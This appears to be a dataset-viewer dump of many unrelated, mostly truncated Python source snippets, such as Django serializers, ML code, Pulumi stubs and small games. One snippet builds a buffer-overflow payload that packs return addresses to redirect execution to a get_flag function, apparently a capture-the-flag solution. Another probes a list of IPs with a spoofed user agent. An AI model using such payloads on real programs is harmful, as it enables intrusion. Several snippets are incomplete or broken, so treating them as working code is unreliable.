content
stringlengths
0
894k
type
stringclasses
2 values
from django.contrib.auth import get_user_model from rest_framework import serializers from phonenumber_field.serializerfields import PhoneNumberField User = get_user_model() class PhoneNumberSerializer(serializers.Serializer): phone_number = PhoneNumberField(required=True) confirmation_code = serializers.Int...
python
#!/usr/bin/env python3 import sys import csv import time import random import curses import signal import pickle import datetime import argparse import subprocess from enum import Enum from copy import deepcopy as copy State = Enum('State', 'pick watch getready draw countdown check roll') class GameTerminated(Excep...
python
text = """ //------------------------------------------------------------------------------ // Explicit instantiation. //------------------------------------------------------------------------------ #include "computeGenerators.cc" namespace Spheral { template void computeGenerators<Dim< %(ndim)s >, ...
python
import requests import json import datetime import pprint class FlightTicketPriceNotificationFromSkyscanner(): SkyscannerApiKey = "sk-----" MailgunApiKey = "key------" MailgunSandbox = "sandbox-----" MailgunEmail = "-----@-----" conditions = [{ "country": "PL", "currency": "PLN", ...
python
import sys import typing import numpy as np def solve( x: np.array, y: np.array, ) -> typing.NoReturn: n = x.size ord = np.argsort(x, kind='mergesort') x, y = x[ord], y[ord] mn = np.minimum.accumulate(y) mx = np.maximum.accumulate(y) def possible(d): j = np.searchsorted(x, x -...
python
try: import sys from cv2 import cv2 import numpy as np import time import math import utils.hand_tracking as ht except ModuleNotFoundError: sys.path.append("../") finally: import utils.hand_tracking as ht def main(show_fps=False, video_src=0): # Capture the video stream Webcam ...
python
# -*- coding: utf-8 -*- """ TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-权限中心(BlueKing-IAM) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with th...
python
#!/usr/bin/env ruby # usage: # ruby all-releases ipython jupyter jupyterlab jupyterhub # dependencies: # gem install netrc octokit activesupport faraday-http-cache # attribution: minrk require "rubygems" require "octokit" require "faraday-http-cache" require "active_support" # enable caching stack = Faraday::Ra...
python
from time import sleep import copy import logging import os from disco.bot.command import CommandError from disco.types.base import BitsetMap, BitsetValue from sqlalchemy import ( create_engine as spawn_engine, PrimaryKeyConstraint, Column, exc, ForeignKey, ) from sqlalchemy.dialects.mysql import ( TEXT, ...
python
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import ...
python
from typing import Tuple import jax import jax.numpy as jnp from jaxrl.datasets import Batch from jaxrl.networks.common import InfoDict, Model, Params, PRNGKey def target_update(critic: Model, target_critic: Model, tau: float) -> Model: new_target_params = jax.tree_multimap( lambda p, tp: p * tau + tp *...
python
import os import pytest import flask from flask_dance.contrib.github import make_github_blueprint, github from flask_dance.consumer.storage import MemoryStorage betamax = pytest.importorskip("betamax") GITHUB_ACCESS_TOKEN = os.environ.get("GITHUB_OAUTH_ACCESS_TOKEN", "fake-token") current_dir = os.path.dirname(__file...
python
import numpy as np import scipy as sp import scipy.stats def gaussian_loglik(obs, mu, sigma): return sp.stats.multivariate_normal.logpdf(obs, mean=mu, cov=sigma) / mu.shape[0] def gaussian_entropy(sigma): return 0.5 * (len(sigma) + np.log(np.linalg.det(sigma)) + np.log(2 * np.pi)) def r2_score(obs, pred): ...
python
from pydantic import BaseSettings class Settings(BaseSettings): APP_NAME: str = "FastAPI Boilerplate" EMAIL_SENDER: str = "no-reply@app.com" SMTP_SERVER: str = "your_stmp_server_here" POSTGRES_USER: str = "app" POSTGRES_PASSWORD: str = "app" POSTGRES_SERVER: str = "db" POSTGRES_DB: str = ...
python
import json import logging import random import time import traceback from ceph.rados_utils import RadosHelper log = logging.getLogger(__name__) def run(ceph_cluster, **kw): """ CEPH-9311 - RADOS: Pyramid erasure codes (Local Repai rable erasure codes): Bring down 2 osds (in case of k=4) from 2 lo...
python
import numpy as np import cv2 import re import torch import torch.nn as nn from torchvision import transforms from marsh_plant_dataset import MarshPlant_Dataset N_CLASSES = 7 output_columns = ['Row', 'Img_ID', 'Section', 'Sarcocornia', 'Spartina', 'Limonium', 'Borrichia', 'Batis', 'Juncus', 'None'] THRESHOLD_SIG = 0.5...
python
from glob import glob from config import BOARD_HEIGHT, BOARD_WIDTH, N_IN_ROW from utils import get_model_path from config import globalV from game import Board, Game from mcts_alphaZero import MCTSPlayer from policy_value_net_pytorch import PolicyValueNet """ input location as '3,3' to play """ class Human: """ h...
python
import json import urllib2 import uuid import random import string # send api call, must have NXT server running def nxtapi(typ): return json.load(urllib2.urlopen('http://jnxt.org:7876/nxt', typ));
python
# ************************************************ # (c) 2019-2021 Nurul-GC. * # - BSD 3-Clause License * # ************************************************ from secrets import token_bytes from typing import Tuple def encrypt(text: str) -> Tuple[int, int]: """Functi...
python
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
python
import mipow bulb = mipow.mipow("70:44:4B:14:AC:E6") bulb.connect() bulb.off() bulb.disconnect()
python
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
python
#!/usr/bin/env python # vim: expandtab:tabstop=4:shiftwidth=4 ''' Prune images/builds/deployments ''' # # Copyright 2016 Red Hat Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License ...
python
from django.apps import AppConfig class BlastNew(AppConfig): name = 'blast_new'
python
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # MIT License. See license.txt # For license information, please see license.txt from __future__ import unicode_literals import frappe import frappe.utils import os from frappe import _ from frappe.website.doctype.website_route.website_route impo...
python
size(960, 240) background(0) fill(205) ellipse(264, 164, 400, 400) fill(150) ellipse(456, -32, 400, 400) fill(49) ellipse(532, 236, 400, 400)
python
from os import symlink from os.path import join, realpath from functools import wraps from textwrap import dedent from pprint import PrettyPrinter from operator import itemgetter from mock import Mock from git import Repo from jig.tests.testcase import JigTestCase from jig.diffconvert import describe_diff, DiffType, ...
python
import rospy import subprocess from gazebo_msgs.srv import DeleteModel from gazebo_msgs.srv import SetModelConfiguration from gazebo_msgs.srv import SpawnModel from std_srvs.srv import Empty as EmptySrv from std_srvs.srv import EmptyResponse as EmptySrvResponse class Experiment(object): ''' Spawn objects ...
python
"""Define library examples."""
python
import os class RootDir: HOME_DIR = os.path.expanduser('~') DIR_NAME = '.stoobly' _instance = None def __init__(self): if RootDir._instance: raise RuntimeError('Call instance() instead') else: self.root_dir = os.path.join(self.HOME_DIR, self.DIR_NAME) ...
python
from django.contrib import admin from .models import * # Register your models here. class ShortAdmin(admin.ModelAdmin): list_display = ['website', 'slug', 'expired', 'creation_date', 'expiration'] actions = ['expire','unexpire'] def expire(self, request, queryset): for link in queryset: ...
python
# Contents: # Getting Our Feet Wet # Make a List # Check it Twice # Custom Print # Printing Pretty # Hide... # ...and Seek! # You win! # Danger, Will Robinson!!! # Bad Aim # Not Again! # Play It, Sam # Game Over # A Real Win print("### Getting Our Feet Wet ###") board = [] print("### Make a List ###") for i in range(...
python
import redis r = redis.Redis() def main(): print(r.info()) if __name__ == '__main__': main()
python
from selenium import webdriver import multiprocessing as mp import numpy as np import parms from webdriver_manager.firefox import GeckoDriverManager from selenium.webdriver.firefox.options import Options # Prepare driver options = Options() options.headless = True driver = webdriver.Firefox(options=options...
python
# -*- coding: UTF-8 -*- import unittest import os.path from typing import List from wpydumps import parser from wpydumps.model import Page SAMPLE_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sample.xml") class TestParser(unittest.TestCase): def test_parse(self): pages: List[Page] = ...
python
import mimetypes import time from django.http import HttpResponse, Http404, HttpResponseNotModified from django.utils.http import http_date from django.views.static import was_modified_since from django.conf import settings from simplethumb.models import Image from simplethumb.spec import Spec, ChecksumException, dec...
python
#!/usr/bin/python import csv import random import numpy as np import pandas as pd inFile19 = "csvOdds/gameIDodds2019.csv" iTrainFile19 = open(inFile19, "r") readerTrain19 = csv.reader(iTrainFile19, delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL) inFile18 = "csvOdds/gameIDodds2018.csv" iTr...
python
import struct import telnetlib def p(x): return struct.pack('<L', x) get_flag2 = 0x804892b setup_get_flag2 = 0x8048921 # Flag 2 payload = "" payload += "P"*112 # Add the padding leading to the overflow payload += p(setup_get_flag2) payload += p(get_flag2) print(payload)
python
# coding: utf-8 import sys from codecs import open from urllib2 import urlopen from simplejson import loads as load_json url = urlopen("http://www.example.com/wp-admin/admin-ajax.php?action=externalUpdateCheck&secret=ABCDEFABCDEFABCDEFABCDEFABCDEFAB") res = url.read() if res == "0": sys.exit(0) updates...
python
# Services plugin for bb exporter # 2020 - Benoît Leveugle <benoit.leveugle@sphenisc.com> # https://github.com/oxedions/bluebanquise - MIT license from pystemd.systemd1 import Unit from prometheus_client.core import GaugeMetricFamily class Collector(object): services = {} services_status = [] def __ini...
python
import setuptools import os import sys # Get Version sys.path.append(os.path.dirname(__file__)) import versioneer __VERSION__ = versioneer.get_version() with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( version=__VERSION__, cmdclass=versioneer.get_cmdclass(), name="pu...
python
# adds the results to s3 import boto3 import os import io import scraperwiki import time import simplejson as json import gzip import pandas as pd def upload(test): AWS_KEY = os.environ['AWS_KEY_ID'] AWS_SECRET = os.environ['AWS_SECRET_KEY'] queryString = "* from aus_ads" queryResult = scraperwiki.sqlite.selec...
python
from typing import List from typing import Union from pyspark.sql import DataFrame from pyspark.sql import functions as F from pyspark.sql.window import Window def filter_all_not_null(df: DataFrame, reference_columns: List[str]) -> DataFrame: """ Filter rows which have NULL values in all the specified column...
python
from __future__ import absolute_import from builtins import object import numpy as np import logging from relaax.common import profiling from relaax.server.common import session from relaax.common.algorithms.lib import utils from relaax.common.algorithms.lib import observation from .. import dqn_config from .. impo...
python
__all__ = [ "__version__", "spotify_app", "SpotifyAuth", "SpotifyClient", "SpotifyResponse", ] from .aiohttp_spotify_version import __version__ from .api import SpotifyAuth, SpotifyClient, SpotifyResponse from .app import spotify_app __uri__ = "https://github.com/dfm/aiohttp_spotify" __author__ = ...
python
from . import views from rest_framework.routers import SimpleRouter from django.urls import path router = SimpleRouter() router.register("posts", views.PostViewSet, "posts") urlpatterns = [ path('upload_file/', views.FileUploadView.as_view()), ] urlpatterns += router.urls
python
import getpass message = 'hello {}'.format(getpass.getuser())
python
from django.core.urlresolvers import resolve from django.urls import reverse from django.template.loader import render_to_string from django.test import TestCase from django.http import HttpRequest from unittest import skip from users.views import home_visitor, display_signup from users.models import University, Facult...
python
#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : LiarDie.py @Time : 2021/11/15 00:08:33 @Author : yanxinyi @Version : v1.0 @Contact : yanxinyi620@163.com @Desc : Applying algorithm of Fixed-Strategy Iteration Counterfactual Regret Minimization (FSICFR) to Liar Die. java code str...
python
import numpy as np import pandas as pd import pickle from sklearn.neighbors import NearestNeighbors from flask import Flask, render_template, request, redirect, jsonify """ To run on windows with powershell: 1. Navigate to the directory where apsapp.py is located. 2. Enter: $env:FLASK_APP = "apsapp.py" 3. Enter: pytho...
python
class RLEIterator: def __init__(self, A: List[int]): def next(self, n: int) -> int: # Your RLEIterator object will be instantiated and called as such: # obj = RLEIterator(A) # param_1 = obj.next(n)
python
# 입력으로 하나씩 받아서 아이디랑 이름이랑 매치시키자. import collections def solution(record) : result = collections.defaultdict(str) for rec in record : _, uid, name = rec.split(' ') result[uid] = name print(result) answer = [] return answer answer =solution(["Enter uid1234 Muzi", "Enter uid4567 Prod...
python
from typing import Dict, Tuple from libp2p.typing import StreamHandlerFn, TProtocol from .exceptions import MultiselectCommunicatorError, MultiselectError from .multiselect_communicator_interface import IMultiselectCommunicator from .multiselect_muxer_interface import IMultiselectMuxer MULTISELECT_PROTOCOL_ID = "/mu...
python
# bbc micro:bit + bit:commander (4tronix) # use joystick to command robot kitronik :move from microbit import * import radio # setup radio.on() #radio.config(group=0) s_forward, s_right = 0, 0 # main loop while True: # read joystick and scale it # -100 is full reverse forward / 0 is stop / +100% is full for...
python
# Generated by Django 3.2 on 2021-05-19 04:25 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('Sentiment', '0003_auto_20210517_1332'), ] operations = [ migrations.CreateModel( name='CSVResult'...
python
from collections import defaultdict from aocd import data from p09 import Boost class Cabinet(Boost): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.screen = defaultdict(int) self.x = None self.y = None self.score = None self.ball_x = ...
python
rna_trans = {'G':'C', 'C':'G', 'T':'A', 'A':'U'} def to_rna(dna): rna = '' for n in dna: if n not in rna_trans: return '' rna += rna_trans[n] return rna
python
#!/usr/bin/env python2.7 """Facilitates the measurement of current network bandwidth.""" import collections class Bandwidth(object): """Object containing the current bandwidth estimation.""" def __init__(self): self._current = 0 self._previous = 0 self._trend = collections.deque(max...
python
import gmsh # init gmsh gmsh.initialize() gmsh.option.setNumber("General.Terminal", 1) gfile="03032015J_H2-HR.brep" volumes = gmsh.model.occ.importShapes(gfile) gmsh.model.occ.synchronize() print(volumes) pgrp = gmsh.model.addPhysicalGroup(3, [1]) gmsh.model.setPhysicalName(2, pgrp, "Cu") """ gmsh.model.mesh.setSiz...
python
from __future__ import division import re from math import sqrt, sin, cos, log, tan, acos, asin, atan, e, pi from operator import truediv as div from operator import add, sub, mul, pow from .numbers import NumberService class MathService(object): __constants__ = { 'e': e, 'E': e, 'EE': e,...
python
from __future__ import (absolute_import, division, print_function) __metaclass__ = type import subprocess import sys import ipaddress from ansible.errors import AnsibleFilterError from ansible.module_utils.common.process import get_bin_path from ansible.module_utils._text import to_text from ansible.module_utils.six...
python
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # ...
python
import sqlite3 class Database: def __init__(self, dbname): self.conn = sqlite3.connect(dbname) self.conn.execute("CREATE TABLE IF NOT EXISTS shotmeter (" \ "id INTEGER PRIMARY KEY, " \ "groupname TEXT not null , " \ "sh...
python
#/* # * Player - One Hell of a Robot Server # * Copyright (C) 2004 # * Andrew Howard # * # * # * This library is free software; you can redistribute it and/or # * modify it under the terms of the GNU Lesser General Public # * License as published by the Free Software Foundation; either # ...
python
from math import * import math from .math_eval import * one_arg_mathfuncs = {} for funcname in dir(math): func = globals()[funcname] try: func(2) # if this works, the function accepts one arg one_arg_mathfuncs[funcname] = func except Exception as ex: # this is most likely either b...
python
# Copyright (c) 2015, Scott J Maddox. All rights reserved. # Use of this source code is governed by the BSD-3-Clause # license that can be found in the LICENSE file. import os import sys fpath = os.path.join(os.path.dirname(__file__), '../fdint/_nonparabolic.pyx') templates_dir = os.path.join(os.path.dirname(__file__),...
python
import re import traceback import telegram from telegram.ext.dispatcher import run_async from mayday import LogConfig from mayday.constants import TICKET_MAPPING, conversations, stages from mayday.constants.replykeyboards import ReplyKeyboards from mayday.controllers.request import RequestHelper from mayday.helpers.u...
python
#!/usr/bin/env python # -*- coding:UTF-8 -*- import dircache from pprint import pprint import os path='../..' contents=dircache.listdir(path) annotated=contents[:] dircache.annotate(path,annotated) fmt='%25s\t%25s' print fmt % ('ORIGINAL','ANNOTATED') print fmt % (('-'*25,)*2) for o,a in zip(contents,annotated):...
python
import asyncio async def req1(): await asyncio.sleep(1) return 1 async def req2(): return 2 async def main(): res = await asyncio.gather(req1(), req2()) print(res) asyncio.get_event_loop().run_until_complete(main())
python
from classes.AttackBarbarians import AttackBarbarians attack = AttackBarbarians(level=36) while True: attack.start()
python
constants = { # --- ASSETS FILE NAMES AND DELAY BETWEEN FOOTAGE "CALIBRATION_CAMERA_STATIC_PATH": "assets/cam1 - static/calibration.mov", "CALIBRATION_CAMERA_MOVING_PATH": "assets/cam2 - moving light/calibration.mp4", "COIN_1_VIDEO_CAMERA_STATIC_PATH": "assets/cam1 - static/coin1.mov", "COIN_1_VIDEO...
python
def counter(T): c = 0 l = 0 for i in T: if len(set(i.lower())) > c: l = len(i) c = len(set(i.lower())) elif (len(set(i.lower())) == c) & (len(i) > l): l = len(i) c = len(set(i.lower())) return l
python
#!/usr/bin/env python """ Example application views. Note that `render_template` is wrapped with `make_response` in all application routes. While not necessary for most Flask apps, it is required in the App Template for static publishing. """ import app_config import json import oauth import static import re import s...
python
#!/usr/bin/python # # yamledit.py # github.com/microtodd/yamledit # import os import sys import getopt import ruamel.yaml from ruamel import yaml from ruamel.yaml.scalarstring import SingleQuotedScalarString, DoubleQuotedScalarString __version__ = '0.5' # TODO # # ) merge two yaml files capability # ) Support input p...
python
# -*- coding: utf-8 -*- from ..tre_elements import TREExtension, TREElement __classification__ = "UNCLASSIFIED" __author__ = "Thomas McCullough" class XINC(TREElement): def __init__(self, value): super(XINC, self).__init__() self.add_field('XINC', 's', 22, value) class XIDC(TREElement): de...
python
"""Extracts labels for each actionable widget in an abstract state.""" import math class LabelExtraction: """Extracts labels for each actionable widget in an abstract state.""" @staticmethod def extract_labels(abstract_state, page_analysis): """ Extracts labels for each actionable widget in the ...
python
import darkdetect def is_dark(): return darkdetect.isDark()
python
import os import HFSSdrawpy.libraries.example_elements as elt from HFSSdrawpy import Body, Modeler from HFSSdrawpy.parameters import GAP, TRACK # import HFSSdrawpy.libraries.base_elements as base pm = Modeler("hfss") chip1 = Body(pm, "chip1") track = pm.set_variable("20um") gap = pm.set_variable("10um") radius1 =...
python
# coding: utf-8 from django.db import models class Jurado(models.Model): """ xxx """ nome = models.CharField(u'Nome completo', max_length=200) def __str__(self): return self.nome class Meta: db_table = 'tb_jurado' verbose_name = 'Jurado' verbose_name_plural =...
python
# Implementation of Kruskal's Algorithm # this is a greedy algorithm to find a MST (Minimum Spanning Tree) of a given connected, undirected graph. graph # So I am implementing the graph using adjacency list, as the user wont be # entering too many nodes and edges.The adjacency matrix is a good implementation # ...
python
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: MIT-0 import datetime import boto3 import json events_client = boto3.client("events") sagemaker_client = boto3.client("sagemaker") ssm_client = boto3.client("ssm") class Metric: _iam_permissions = [ { ...
python
from datetime import datetime import pytest @pytest.fixture(scope="module") def setup_lab(lab, authenticated_client): lab_obj = authenticated_client.api.create_lab(**lab) yield lab_obj authenticated_client.api.delete_lab(lab["path"] + lab["name"]) @pytest.fixture(scope="module") def lab(): now = da...
python
#encoding: UTF-8 import urllib2 import re import socket import time rfile = open('./ip.txt') wfile = open('./result.csv', 'a+') for line in rfile: opener = urllib2.build_opener() time.sleep(0.5) opener.addheaders = [('User-Agent', 'Mozilla/6.0 (Linux 5.5; rv:6.0.2) Gecko/20140101 Firefox/6.0.0')] ...
python
from .sqlalchemy import SQLAlchemy from .db import base db = SQLAlchemy() # db.register_base(base)
python
import mock import testtools from shakenfist.baseobject import DatabaseBackedObject, State from shakenfist import exceptions from shakenfist.tests import base class DatabaseBackedObjectTestCase(base.ShakenFistTestCase): @mock.patch('shakenfist.baseobject.DatabaseBackedObject._db_get_attribute', s...
python
from .base import * import scipy.io from os import path as pth class Food(BaseDataset): def __init__(self, root, classes, transform = None): BaseDataset.__init__(self, root, classes, transform) img_dir = pth.join(root,"images") category_path = pth.join(root,"categories.txt") with o...
python
"""Get debug information.""" from googledevices.helpers import gdh_session def debug(host, loop, test, timeout): """Get debug information.""" from googledevices.utils.debug import Debug async def connectivity(): """Test connectivity a Google Home unit.""" async with gdh_session(): ...
python
from database.connect import DatabaseError from flask import Flask, request, render_template, jsonify import json from database import Database from src.predict import * app = Flask(__name__) def pipeline(ticker, years): """Converts user input to appropriate types""" ticker = str(ticker) years = int(yea...
python
import pandas as pd import numpy as np import config import utils import torch import torch.nn as nn import torch.nn.functional as F from pathlib import Path from tqdm.auto import tqdm from sklearn.metrics import roc_auc_score from datetime import datetime from torch.utils.data import DataLoader, Dataset from torch.u...
python
import graphene from graphene import Argument from graphene_django.types import DjangoObjectType from ..models import Category, Product class ProductType(DjangoObjectType): class Meta: model = Product class Query(object): all_products = graphene.List(ProductType) product = graphene.Field(Produc...
python
import os PROJECT_NAME = "fastapi sqlalchemy pytest example" VERSION = "0.0.1" BASE_DIR: str = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) API_PREFIX = "/api" SQLALCHEMY_DATABASE_URL: str = os.getenv('DATABASE_URI', f"sqlite:///{BASE_DIR}/foo.db") DEBUG=True
python
""" MIT License Copyright (c) 2018 Simon Olofsson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish...
python
from secrets import token_bytes from coincurve import PublicKey from sha3 import keccak_256 import os private_key = keccak_256(token_bytes(32)).digest() public_key = PublicKey.from_valid_secret(private_key).format(compressed=False)[1:] addr = keccak_256(public_key).digest()[-20:] def clear(): if os.name == 'nt': ...
python
#!/usr/bin/env python """ Stackfuck Interpreter """ try: from setuptools import setup except ImportError: from distutils.core import setup with open("README.md") as file_readme: readme = file_readme.read() setup( name="Stackfuck", version="0.0.1", description="Interpreter for esoteric language...
python
import collections from typing import List class Solution: def longestSubsequence(self, arr: List[int], difference: int) -> int: longest = 0 while arr: new_arr = [] curr = [arr[0]] for j in arr[1:]: if j == curr[-1] + difference: ...
python
from django.shortcuts import render from utils.api_response import JsonResponse from rest_framework.decorators import (api_view, authentication_classes, permission_classes) from rest_framework_jwt.authentication import JSONWebTokenAuthentication from rest_framework.permissions imp...
python
import re import logging import socket import json from urllib import request, error, parse # 匹配合法 IP 地址 regex_ip = re.compile( r"\D*(" + r"(?:1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\." + r"(?:1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\." + r"(?:1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\." + r"(?:1\d{2}|2[0-4]\d...
python
from tkinter import * from tkinter import filedialog from pygame import mixer import os import stagger class MusicPlayer: filename = "MUSIC NAME" def __init__(self, window): window.geometry('500x400') window.title('MP3 Player') window.resizable(1, 1) Load = Button(window, text...
python
import random from time import sleep lista = [0,1,2,3,4,5] aleatorio = random.choice(lista) print(20*'=') print(" JOGO DA ADIVINHAÇÃO") print(20*'=') escolha = int(input("Digite um numero de 0 a 5: ")) print('PROCESSANDO...') sleep(4) if escolha == aleatorio: print('O numero era {} e você escolheu corret...
python
import tensorflow as tf from tensorflow.keras import Model from . import enet_modules as mod class ENet(Model): """ https://arxiv.org/pdf/1606.02147.pdf """ def __init__(self, classes, kernel_initializer=tf.initializers.glorot_uniform(), alpha_initializer=tf.initializ...
python